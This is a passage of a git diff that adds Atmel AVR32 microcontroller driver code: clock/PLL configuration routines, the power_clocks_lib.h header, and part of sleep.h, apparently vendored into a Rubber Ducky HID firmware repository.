opt.div = div, // DIV=1 in the formula
|
||||
opt.mul = mul, // MUL=7 in the formula
|
||||
opt.pll_div2 = div2_en, // pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value)
|
||||
opt.pll_wbwdisable = 0, //pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode.
|
||||
opt.pll_freq = (pll_freq < AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ) ? 1 : 0, // Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz.
|
||||
|
||||
|
||||
scif_pll_setup(SCIF_PLL0, opt); // lockcount in main clock for the PLL wait lock
|
||||
|
||||
/* Enable PLL0 */
|
||||
scif_pll_enable(SCIF_PLL0);
|
||||
|
||||
/* Wait for PLL0 locked */
|
||||
scif_wait_for_pll_locked(SCIF_PLL0) ;
|
||||
|
||||
rest = pll_freq;
|
||||
while (rest > AVR32_PM_PBA_MAX_FREQ ||
|
||||
rest != param->pba_f)
|
||||
{
|
||||
div2_pba++;
|
||||
rest = pll_freq / (1 << div2_pba);
|
||||
if (rest < param->pba_f)
|
||||
break;
|
||||
}
|
||||
|
||||
// Update real PBA Frequency
|
||||
param->pba_f = pll_freq / (1 << div2_pba);
|
||||
|
||||
|
||||
if (div2_cpu)
|
||||
{
|
||||
b_div2_cpu = TRUE;
|
||||
div2_cpu--;
|
||||
}
|
||||
else
|
||||
b_div2_cpu = FALSE;
|
||||
|
||||
if (div2_pba)
|
||||
{
|
||||
b_div2_pba = TRUE;
|
||||
div2_pba--;
|
||||
}
|
||||
else
|
||||
b_div2_pba = FALSE;
|
||||
|
||||
if (b_div2_cpu == TRUE )
|
||||
{
|
||||
pm_set_clk_domain_div(PM_CLK_DOMAIN_0, (pm_divratio_t) div2_cpu); // CPU
|
||||
pm_set_clk_domain_div(PM_CLK_DOMAIN_1, (pm_divratio_t) div2_cpu); // HSB
|
||||
pm_set_clk_domain_div(PM_CLK_DOMAIN_3, (pm_divratio_t) div2_cpu); // PBB
|
||||
}
|
||||
if (b_div2_pba == TRUE )
|
||||
{
|
||||
pm_set_clk_domain_div(PM_CLK_DOMAIN_2, (pm_divratio_t) div2_pba); // PBA
|
||||
pm_set_clk_domain_div(PM_CLK_DOMAIN_4, (pm_divratio_t) div2_pba); // PBC
|
||||
}
|
||||
|
||||
// Set Flashc Wait State
|
||||
flashc_set_flash_waitstate_and_readmode(param->cpu_f);
|
||||
|
||||
// Set the main clock source as being PLL0.
|
||||
pm_set_mclk_source(PM_CLK_SRC_PLL0);
|
||||
|
||||
return PASS;
|
||||
}
|
||||
#endif // UC3C device-specific implementation
|
||||
|
||||
long int pcl_switch_to_osc(pcl_osc_t osc, unsigned int fcrystal, unsigned int startup)
|
||||
{
|
||||
#ifndef AVR32_PM_VERSION_RESETVALUE
|
||||
// Implementation for UC3A, UC3A3, UC3B parts.
|
||||
if(PCL_OSC0 == osc)
|
||||
{
|
||||
// Configure OSC0 in crystal mode, external crystal with a FOSC0 Hz frequency,
|
||||
// enable the OSC0, set the main clock source as being OSC0.
|
||||
pm_switch_to_osc0(&AVR32_PM, fcrystal, startup);
|
||||
}
|
||||
else
|
||||
{
|
||||
return PCL_NOT_SUPPORTED;
|
||||
}
|
||||
#else
|
||||
// Implementation for UC3C, UC3L parts.
|
||||
#if AVR32_PM_VERSION_RESETVALUE < 0x400
|
||||
return PCL_NOT_SUPPORTED;
|
||||
#else
|
||||
if(PCL_OSC0 == osc)
|
||||
{
|
||||
// Configure OSC0 in crystal mode, external crystal with a fcrystal Hz frequency.
|
||||
scif_configure_osc_crystalmode(SCIF_OSC0, fcrystal);
|
||||
// Enable the OSC0
|
||||
scif_enable_osc(SCIF_OSC0, startup, true);
|
||||
// Set the Flash wait state and the speed read mode (depending on the target CPU frequency).
|
||||
#if UC3L
|
||||
flashcdw_set_flash_waitstate_and_readmode(fcrystal);
|
||||
#elif UC3C
|
||||
flashc_set_flash_waitstate_and_readmode(fcrystal);
|
||||
#endif
|
||||
// Set the main clock source as being OSC0.
|
||||
pm_set_mclk_source(PM_CLK_SRC_OSC0);
|
||||
}
|
||||
else
|
||||
{
|
||||
return PCL_NOT_SUPPORTED;
|
||||
}
|
||||
#endif
|
||||
#endif
|
||||
return PASS;
|
||||
}
|
||||
|
||||
long int pcl_configure_usb_clock(void)
|
||||
{
|
||||
#ifndef AVR32_PM_VERSION_RESETVALUE
|
||||
// Implementation for UC3A, UC3A3, UC3B parts.
|
||||
pm_configure_usb_clock();
|
||||
return PASS;
|
||||
#else
|
||||
#if UC3C
|
||||
const scif_pll_opt_t opt = {
|
||||
.osc = SCIF_OSC0, // Sel Osc0 or Osc1
|
||||
.lockcount = 16, // lockcount in main clock for the PLL wait lock
|
||||
.div = 1, // DIV=1 in the formula
|
||||
.mul = 5, // MUL=7 in the formula
|
||||
.pll_div2 = 1, // pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value)
|
||||
.pll_wbwdisable = 0, //pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode.
|
||||
.pll_freq = 1, // Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz.
|
||||
};
|
||||
|
||||
/* Setup PLL1 on Osc0, mul=7 ,no divisor, lockcount=16, ie. 16Mhzx6 = 96MHz output */
|
||||
scif_pll_setup(SCIF_PLL1, opt); // lockcount in main clock for the PLL wait lock
|
||||
|
||||
/* Enable PLL1 */
|
||||
scif_pll_enable(SCIF_PLL1);
|
||||
|
||||
/* Wait for PLL1 locked */
|
||||
scif_wait_for_pll_locked(SCIF_PLL1) ;
|
||||
|
||||
// Implementation for UC3C parts.
|
||||
// Setup the generic clock for USB
|
||||
scif_gc_setup(
|
||||
#if (defined AVR32_USBB)
|
||||
AVR32_SCIF_GCLK_USB,
|
||||
#else
|
||||
AVR32_SCIF_GCLK_USBC,
|
||||
#endif
|
||||
SCIF_GCCTRL_PLL1,
|
||||
AVR32_SCIF_GC_NO_DIV_CLOCK,
|
||||
0);
|
||||
// Now enable the generic clock
|
||||
scif_gc_enable(
|
||||
#if (defined AVR32_USBB)
|
||||
AVR32_SCIF_GCLK_USB
|
||||
#else
|
||||
AVR32_SCIF_GCLK_USBC
|
||||
#endif
|
||||
);
|
||||
return PASS;
|
||||
#else
|
||||
return PCL_NOT_SUPPORTED;
|
||||
#endif
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
#if UC3L
|
||||
#else
|
||||
void pcl_write_gplp(unsigned long gplp, unsigned long value)
|
||||
{
|
||||
#ifndef AVR32_PM_VERSION_RESETVALUE
|
||||
// Implementation for UC3A, UC3A3, UC3B parts.
|
||||
pm_write_gplp(&AVR32_PM,gplp,value);
|
||||
#else
|
||||
scif_write_gplp(gplp,value);
|
||||
#endif
|
||||
}
|
||||
|
||||
unsigned long pcl_read_gplp(unsigned long gplp)
|
||||
{
|
||||
#ifndef AVR32_PM_VERSION_RESETVALUE
|
||||
// Implementation for UC3A, UC3A3, UC3B parts.
|
||||
return pm_read_gplp(&AVR32_PM,gplp);
|
||||
#else
|
||||
return scif_read_gplp(gplp);
|
||||
#endif
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,381 @@
|
|||
/*This file has been prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief High-level library abstracting features such as oscillators/pll/dfll
|
||||
* configuration, clock configuration, System-sensible parameters
|
||||
* configuration, buses clocks configuration, sleep mode, reset.
|
||||
*
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
*****************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _POWER_CLOCKS_LIB_H_
|
||||
#define _POWER_CLOCKS_LIB_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <avr32/io.h>
|
||||
#include "compiler.h"
|
||||
|
||||
#ifndef AVR32_PM_VERSION_RESETVALUE
|
||||
// Support for UC3A, UC3A3, UC3B parts.
|
||||
#include "pm.h"
|
||||
#else
|
||||
//! Device-specific data
|
||||
#if UC3L
|
||||
#include "pm_uc3l.h"
|
||||
#include "scif_uc3l.h"
|
||||
#include "flashcdw.h"
|
||||
#elif UC3C
|
||||
#include "pm_uc3c.h"
|
||||
#include "scif_uc3c.h"
|
||||
#include "flashc.h"
|
||||
#elif UC3D
|
||||
#include "pm_uc3d.h"
|
||||
#include "scif_uc3d.h"
|
||||
#include "flashcdw.h"
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/*! \name Clocks Management
|
||||
*/
|
||||
//! @{
|
||||
|
||||
//! The different oscillators
|
||||
typedef enum
|
||||
{
|
||||
PCL_OSC0 = 0,
|
||||
PCL_OSC1 = 1
|
||||
} pcl_osc_t;
|
||||
|
||||
//! The different DFLLs
|
||||
typedef enum
|
||||
{
|
||||
PCL_DFLL0 = 0,
|
||||
PCL_DFLL1 = 1
|
||||
} pcl_dfll_t;
|
||||
|
||||
//! Possible Main Clock Sources
|
||||
typedef enum
|
||||
{
|
||||
PCL_MC_RCSYS, // Default main clock source, supported by all (aka Slow Clock)
|
||||
PCL_MC_OSC0, // Supported by all
|
||||
PCL_MC_OSC1, // Supported by UC3C only
|
||||
PCL_MC_OSC0_PLL0, // Supported by UC3A, UC3B, UC3A3, UC3C (the main clock source is PLL0 with OSC0 as reference)
|
||||
PCL_MC_OSC1_PLL0, // Supported by UC3A, UC3B, UC3A3, UC3C (the main clock source is PLL0 with OSC1 as reference)
|
||||
PCL_MC_OSC0_PLL1, // Supported by UC3C (the main clock source is PLL1 with OSC0 as reference)
|
||||
PCL_MC_OSC1_PLL1, // Supported by UC3C (the main clock source is PLL1 with OSC1 as reference)
|
||||
PCL_MC_DFLL0, // Supported by UC3L
|
||||
PCL_MC_DFLL1, // Not supported yet
|
||||
PCL_MC_RC120M, // Supported by UC3L, UC3C
|
||||
PCL_MC_RC8M, // Supported by UC3C
|
||||
PCL_MC_CRIPOSC // Supported by UC3C
|
||||
} pcl_mainclk_t;
|
||||
|
||||
//! Input and output parameters to configure clocks with pcl_configure_clocks().
|
||||
// NOTE: regarding the frequency settings, always abide by the datasheet rules and min & max supported frequencies.
|
||||
#ifndef AVR32_PM_VERSION_RESETVALUE
|
||||
// Support for UC3A, UC3A3, UC3B parts.
|
||||
#define pcl_freq_param_t pm_freq_param_t // See pm.h
|
||||
#else
|
||||
// Support for UC3C, UC3L parts.
|
||||
typedef struct
|
||||
{
|
||||
//! Main clock source selection (input argument).
|
||||
pcl_mainclk_t main_clk_src;
|
||||
|
||||
//! Target CPU frequency (input/output argument).
|
||||
unsigned long cpu_f;
|
||||
|
||||
//! Target PBA frequency (input/output argument).
|
||||
unsigned long pba_f;
|
||||
|
||||
//! Target PBB frequency (input/output argument).
|
||||
unsigned long pbb_f;
|
||||
|
||||
//! Target PBC frequency (input/output argument).
|
||||
unsigned long pbc_f;
|
||||
|
||||
//! Oscillator 0's external crystal(or external clock) frequency (board dependant) (input argument).
|
||||
unsigned long osc0_f;
|
||||
|
||||
//! Oscillator 0's external crystal(or external clock) startup time: AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC (input argument).
|
||||
unsigned long osc0_startup;
|
||||
|
||||
//! DFLL target frequency (input/output argument) (NOTE: the bigger, the most stable the frequency)
|
||||
unsigned long dfll_f;
|
||||
|
||||
//! Other parameters that might be necessary depending on the device (implementation-dependent).
|
||||
// For the UC3L DFLL setup, this parameter should be pointing to a structure of
|
||||
// type (scif_gclk_opt_t *).
|
||||
void *pextra_params;
|
||||
} pcl_freq_param_t;
|
||||
#endif
|
||||
|
||||
//! Define "not supported" for the lib.
|
||||
#define PCL_NOT_SUPPORTED (-10000)
|
||||
|
||||
/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks
|
||||
*
|
||||
* This function needs some parameters stored in a pcl_freq_param_t structure:
|
||||
* - main_clk_src is the id of the main clock source to use,
|
||||
* - cpu_f and pba_f and pbb_f are the wanted frequencies,
|
||||
* - osc0_f is the oscillator 0's external crystal (or external clock) on-board frequency (e.g. FOSC0),
|
||||
* - osc0_startup is the oscillator 0's external crystal (or external clock) startup time (e.g. OSC0_STARTUP).
|
||||
* - dfll_f is the target DFLL frequency to set-up if main_clk_src is the dfll.
|
||||
*
|
||||
* The CPU, HSB and PBA frequencies programmed after configuration are stored back into cpu_f and pba_f.
|
||||
*
|
||||
* \note: since it is dynamically computing the appropriate field values of the
|
||||
* configuration registers from the parameters structure, this function is not
|
||||
* optimal in terms of code size. For a code size optimal solution, it is better
|
||||
* to create a new function from pcl_configure_clocks() and modify it to use
|
||||
* preprocessor computation from pre-defined target frequencies.
|
||||
*
|
||||
* \param param pointer on the configuration structure.
|
||||
*
|
||||
* \retval 0 Success.
|
||||
* \retval <0 The configuration cannot be performed.
|
||||
*/
|
||||
extern long int pcl_configure_clocks(pcl_freq_param_t *param);
|
||||
|
||||
/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the RCSYS osc as main source clock.
|
||||
*
|
||||
* This function needs some parameters stored in a pcl_freq_param_t structure:
|
||||
* - cpu_f and pba_f and pbb_f are the wanted frequencies
|
||||
*
|
||||
* Supported main clock sources: PCL_MC_RCSYS
|
||||
*
|
||||
* Supported synchronous clocks frequencies:
|
||||
* 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz.
|
||||
*
|
||||
* \note: by default, this implementation doesn't perform thorough checks on the
|
||||
* input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK.
|
||||
*
|
||||
* \note: since it is dynamically computing the appropriate field values of the
|
||||
* configuration registers from the parameters structure, this function is not
|
||||
* optimal in terms of code size. For a code size optimal solution, it is better
|
||||
* to create a new function from pcl_configure_clocks_rcsys() and modify it to use
|
||||
* preprocessor computation from pre-defined target frequencies.
|
||||
*
|
||||
* \param param pointer on the configuration structure.
|
||||
*
|
||||
* \retval 0 Success.
|
||||
* \retval <0 The configuration cannot be performed.
|
||||
*/
|
||||
extern long int pcl_configure_clocks_rcsys(pcl_freq_param_t *param);
|
||||
|
||||
/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the RC120M osc as main source clock.
|
||||
*
|
||||
* This function needs some parameters stored in a pcl_freq_param_t structure:
|
||||
* - cpu_f and pba_f and pbb_f are the wanted frequencies
|
||||
*
|
||||
* Supported main clock sources: PCL_MC_RC120M
|
||||
*
|
||||
* Supported synchronous clocks frequencies:
|
||||
* 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz.
|
||||
*
|
||||
* \note: by default, this implementation doesn't perform thorough checks on the
|
||||
* input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK.
|
||||
*
|
||||
* \note: since it is dynamically computing the appropriate field values of the
|
||||
* configuration registers from the parameters structure, this function is not
|
||||
* optimal in terms of code size. For a code size optimal solution, it is better
|
||||
* to create a new function from pcl_configure_clocks_rc120m() and modify it to
|
||||
* use preprocessor computation from pre-defined target frequencies.
|
||||
*
|
||||
* \param param pointer on the configuration structure.
|
||||
*
|
||||
* \retval 0 Success.
|
||||
* \retval <0 The configuration cannot be performed.
|
||||
*/
|
||||
extern long int pcl_configure_clocks_rc120m(pcl_freq_param_t *param);
|
||||
|
||||
/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the OSC0 osc as main source clock
|
||||
*
|
||||
* This function needs some parameters stored in a pcl_freq_param_t structure:
|
||||
* - cpu_f and pba_f and pbb_f are the wanted frequencies,
|
||||
* - osc0_f is the oscillator 0's external crystal (or external clock) on-board frequency (e.g. FOSC0),
|
||||
* - osc0_startup is the oscillator 0's external crystal (or external clock) startup time (e.g. OSC0_STARTUP).
|
||||
*
|
||||
* Supported main clock sources: PCL_MC_OSC0
|
||||
*
|
||||
* Supported synchronous clocks frequencies:
|
||||
* (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example)
|
||||
* 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz.
|
||||
*
|
||||
* \note: by default, this implementation doesn't perform thorough checks on the
|
||||
* input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK.
|
||||
*
|
||||
* \note: since it is dynamically computing the appropriate field values of the
|
||||
* configuration registers from the parameters structure, this function is not
|
||||
* optimal in terms of code size. For a code size optimal solution, it is better
|
||||
* to create a new function from pcl_configure_clocks_osc0() and modify it to use
|
||||
* preprocessor computation from pre-defined target frequencies.
|
||||
*
|
||||
* \param param pointer on the configuration structure.
|
||||
*
|
||||
* \retval 0 Success.
|
||||
* \retval <0 The configuration cannot be performed.
|
||||
*/
|
||||
extern long int pcl_configure_clocks_osc0(pcl_freq_param_t *param);
|
||||
|
||||
/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the DFLL0 as main source clock
|
||||
*
|
||||
* This function needs some parameters stored in a pcl_freq_param_t structure:
|
||||
* - cpu_f and pba_f and pbb_f are the wanted frequencies,
|
||||
* - dfll_f is the target DFLL frequency to set-up
|
||||
*
|
||||
* \note: when the DFLL0 is to be used as main source clock for the synchronous clocks,
|
||||
* the target frequency of the DFLL should be chosen to be as high as possible
|
||||
* within the specification range (for stability reasons); the target cpu and pbx
|
||||
* frequencies will then be reached by appropriate division ratio.
|
||||
*
|
||||
* Supported main clock sources: PCL_MC_DFLL0
|
||||
*
|
||||
* Supported synchronous clocks frequencies:
|
||||
* (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example)
|
||||
* 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz.
|
||||
*
|
||||
* \note: by default, this implementation doesn't perform thorough checks on the
|
||||
* input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK.
|
||||
*
|
||||
* \note: since it is dynamically computing the appropriate field values of the
|
||||
* configuration registers from the parameters structure, this function is not
|
||||
* optimal in terms of code size. For a code size optimal solution, it is better
|
||||
* to create a new function from pcl_configure_clocks_dfll0() and modify it to
|
||||
* use preprocessor computation from pre-defined target frequencies.
|
||||
*
|
||||
* \param param pointer on the configuration structure.
|
||||
*
|
||||
* \retval 0 Success.
|
||||
* \retval <0 The configuration cannot be performed.
|
||||
*/
|
||||
extern long int pcl_configure_clocks_dfll0(pcl_freq_param_t *param);
|
||||
|
||||
/*! \brief Switch the main clock source to Osc0 configured in crystal mode
|
||||
*
|
||||
* \param osc The oscillator to enable and switch to.
|
||||
* \param fcrystal Oscillator external crystal frequency (Hz)
|
||||
* \param startup Oscillator startup time.
|
||||
*
|
||||
* \return Status.
|
||||
* \retval 0 Success.
|
||||
* \retval <0 An error occured.
|
||||
*/
|
||||
extern long int pcl_switch_to_osc(pcl_osc_t osc, unsigned int fcrystal, unsigned int startup);
|
||||
|
||||
/*! \brief Enable the clock of a module.
|
||||
*
|
||||
* \param module The module to clock (use one of the defines in the part-specific
|
||||
* header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the
|
||||
* clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks"
|
||||
* or look in the module section).
|
||||
*
|
||||
* \return Status.
|
||||
* \retval 0 Success.
|
||||
* \retval <0 An error occured.
|
||||
*/
|
||||
#ifndef AVR32_PM_VERSION_RESETVALUE
|
||||
// Implementation for UC3A, UC3A3, UC3B parts.
|
||||
#define pcl_enable_module(module) pm_enable_module(&AVR32_PM, module)
|
||||
#else
|
||||
// Implementation for UC3C, UC3L parts.
|
||||
#define pcl_enable_module(module) pm_enable_module(module)
|
||||
#endif
|
||||
|
||||
/*! \brief Disable the clock of a module.
|
||||
*
|
||||
* \param module The module to shut down (use one of the defines in the part-specific
|
||||
* header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the
|
||||
* clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks"
|
||||
* or look in the module section).
|
||||
*
|
||||
* \return Status.
|
||||
* \retval 0 Success.
|
||||
* \retval <0 An error occured.
|
||||
*/
|
||||
#ifndef AVR32_PM_VERSION_RESETVALUE
|
||||
// Implementation for UC3A, UC3A3, UC3B parts.
|
||||
#define pcl_disable_module(module) pm_disable_module(&AVR32_PM, module)
|
||||
#else
|
||||
// Implementation for UC3C, UC3L parts.
|
||||
#define pcl_disable_module(module) pm_disable_module(module)
|
||||
#endif
|
||||
|
||||
/*! \brief Configure the USB Clock
|
||||
*
|
||||
*
|
||||
* \return Status.
|
||||
* \retval 0 Success.
|
||||
* \retval <0 An error occured.
|
||||
*/
|
||||
extern long int pcl_configure_usb_clock(void);
|
||||
|
||||
//! @}
|
||||
|
||||
/*! \name Power Management
|
||||
*/
|
||||
//! @{
|
||||
/*!
|
||||
* \brief Read the content of the GPLP registers
|
||||
* \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part)
|
||||
*
|
||||
* \return The content of the chosen GPLP register.
|
||||
*/
|
||||
extern unsigned long pcl_read_gplp(unsigned long gplp);
|
||||
|
||||
|
||||
/*!
|
||||
* \brief Write into the GPLP registers
|
||||
* \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part)
|
||||
* \param value Value to write
|
||||
*/
|
||||
extern void pcl_write_gplp(unsigned long gplp, unsigned long value);
|
||||
|
||||
//! @}
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // _POWER_CLOCKS_LIB_H_
|
149
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/sleep.h
Executable file
149
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/sleep.h
Executable file
|
@ -0,0 +1,149 @@
|
|||
/**
|
||||
* \file
|
||||
*
|
||||
* \brief Sleep mode access
|
||||
*
|
||||
* Copyright (C) 2010 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* \page License
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an
|
||||
* Atmel AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
|
||||
* DAMAGE.
|
||||
*/
|
||||
#ifndef SLEEP_H
|
||||
#define SLEEP_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <compiler.h>
|
||||
|
||||
#ifndef AVR32_PM_SMODE_GMCLEAR_MASK
|
||||
#define AVR32_PM_SMODE_GMCLEAR_MASK 0x80
|
||||
#else
|
||||
#warning Define already present in the system toolchain header files!
|
||||
#endif
|
||||
|
||||
/**
|
||||
* \defgroup sleep_group Power Manager (PM)
|
||||
*
|
||||
* This is a stub on the AVR UC3 Power Manager(PM) for the sleepmgr service.
|
||||
*
|
||||
* \note To minimize the code overhead, these functions do not feature
|
||||
* interrupt-protected access since they are likely to be called inside
|
||||
* interrupt handlers or in applications where such protection is not
|
||||
* necessary. If such protection is needed, it must be ensured by the calling
|
||||
* code.
|
||||
*
|
||||
* @{
|
||||
*/
|
||||
|
||||
#if defined(__DOXYGEN__)
|
||||
/**
|
||||
* \brief Sets the MCU in the specified sleep mode
|
||||
* \param sleep_mode Sleep mode to set.
|
||||
*/
|
||||
#endif
|
||||
|
||||
#if (UC3A || UC3B) // For AVR UC3 A0/A1, UC3 B, UC3 A3 series
|
||||
|
||||
# ifndef AVR32_PM_SMODE_DEEPSTOP
|
||||
# define AVR32_PM_SMODE_DEEPSTOP 0x00000004
|
||||
# endif
|
||||
# include "pm.h"
|
||||
#elif UC3C // For AVR UC3 C series
|
||||
# include "pm_uc3c.h"
|
||||
#elif UC3D // For AVR UC3 D series
|
||||
# include "pm_uc3d.h"
|
||||
#elif UC3L // For AVR UC3 L series
|
||||
# include "pm_uc3l.h"
|
||||
#else
|
||||
# error Unsupported AVR UC3 series.
|
||||
#endif
|
||||
|
||||
static inline void pm_sleep(int sleep_mode)
|
||||
{
|
||||
switch (sleep_mode) {
|
||||
case AVR32_PM_SMODE_IDLE:
|
||||
SLEEP(AVR32_PM_SMODE_IDLE);
|
||||
break;
|
||||
case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_IDLE:
|
||||
SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_IDLE);
|
||||
break;
|
||||
case AVR32_PM_SMODE_FROZEN:
|
||||
SLEEP(AVR32_PM_SMODE_FROZEN);
|
||||
break;
|
||||
case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_FROZEN:
|
||||
SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_FROZEN);
|
||||
break;
|
||||
case AVR32_PM_SMODE_STANDBY:
|
||||
SLEEP(AVR32_PM_SMODE_STANDBY);
|
||||
break;
|
||||
case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STANDBY:
|
||||
SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STANDBY);
|
||||
break;
|
||||
case AVR32_PM_SMODE_STOP:
|
||||
SLEEP(AVR32_PM_SMODE_STOP);
|
||||
break;
|
||||
case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STOP:
|
||||
SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STOP);
|
||||
break;
|
||||
case AVR32_PM_SMODE_DEEPSTOP:
|
||||
SLEEP(AVR32_PM_SMODE_DEEPSTOP);
|
||||
break;
|
||||
case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_DEEPSTOP:
|
||||
SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_DEEPSTOP);
|
||||
break;
|
||||
case AVR32_PM_SMODE_STATIC:
|
||||
SLEEP(AVR32_PM_SMODE_STATIC);
|
||||
break;
|
||||
